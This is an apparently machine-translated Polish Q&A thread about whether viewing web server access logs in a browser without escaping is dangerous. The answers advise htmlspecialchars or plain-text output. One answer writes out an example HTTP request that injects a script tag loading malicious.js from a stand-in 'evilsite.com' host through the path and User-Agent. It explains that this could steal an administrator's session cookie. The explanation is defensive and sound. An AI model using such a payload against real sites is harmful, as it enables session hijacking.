2009-06-26 8 views
5

Czy przeglądanie dziennika dostępu bez sanityzacji przez przeglądarkę internetową jest niebezpieczne?Czy przeglądanie dziennika dostępu bez sanityzacji przez przeglądarkę internetową jest niebezpieczne?

Rozważam rejestrowanie dziennika dostępu i rozważam przeglądanie go za pośrednictwem przeglądarki Wev, ale jeśli atakujący modyfikuje swojego zdalnego hosta lub agenta użytkownika, czy może on zaatakować mnie?

Wstawiając atakujący kod do zdalnego hosta lub agenta użytkownika lub ect.

Czy muszę również odkażać przez htmlspecialchar przed otwarciem pliku logu dostępu przez przeglądarkę internetową?

Mam na myśli, że atakujący wstawi jakiś atakujący kod do swojego zdalnego hosta lub agenta użytkownika lub jakiegoś oprogramowania, wtedy widzę, że log dostępu przez przeglądarkę internetową, to mój komputer będzie podlegał temu kodowi.

Odpowiedz

3

Prawdopodobnie potrzebujesz trochę formatowania html dla danych wyjściowych i dlatego musisz odszyfrować/zakodować dane dziennika. Ale dla argumentów: Jeśli wyślesz dane wyjściowe jako tekst/zwykły, klient nie powinien parsować żadnego html/javascript.
E.g. wyjście

<?php 
header('Content-type: text/plain; charset=utf-8'); 
echo '<script>alert(document.URL);</script>';
wyświetla się jako
<script>alert(document.URL);</script>
(przynajmniej w FF3, IE8, operze, safari).

+1

tak, dzięki. Potem lepiej zrobić rozszerzenie pliku logu jako "txt", więc jestem bezpieczny. –

+0

Mam na myśli "log.txt" jest bezpieczny, ale "log.html" jest niebezpieczeństwem. –

+0

jeśli "log.txt" naprawdę jest rozwiązaniem, dlaczego pytanie jest oznaczone jako "php php5"? – VolkerK

4

Teoretycznie jest to możliwe, i powinieneś pochwalić się właściwym podejściem do myślenia w ten sposób. Dezynfekcja wszelkich niekontrolowanych danych wejściowych przed wyświetleniem ich w przeglądarce internetowej jest zawsze dobrym pomysłem.

Uruchomiłbym wyjście dziennika przez htmlspecialchars().

5

Tak, jest to niebezpieczne.

Na przykład, złośliwy użytkownik może po prostu zażądać coś takiego:

GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1 
Host: www.example.com 
Connection: close 
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script> 

i kompromisu swoją stronę widok złośliwym JavaScript.

Ponieważ prawdopodobnie przeglądasz dziennik w swojej witrynie, byłeś zalogowany jako konto z uprawnieniami administratora. Z złośliwego kodu JavaScript, atakujący może wykraść cookie sesji i przejąć sesję, wraz ze wszystkim, co można zrobić, gdy zalogowany.

Konkludując, należy zdecydowanie ewakuacyjnych stron dziennika dostępu, chyba że lubisz, gdy twoje konta administracyjne zostały przejęte.

+0

Yup. W moich dziennikach serwera widziałem próby takich rzeczy, więc oczyszczam skrypty przed obejrzeniem jakiejkolwiek ich części na stronie internetowej. –

Powiązane problemy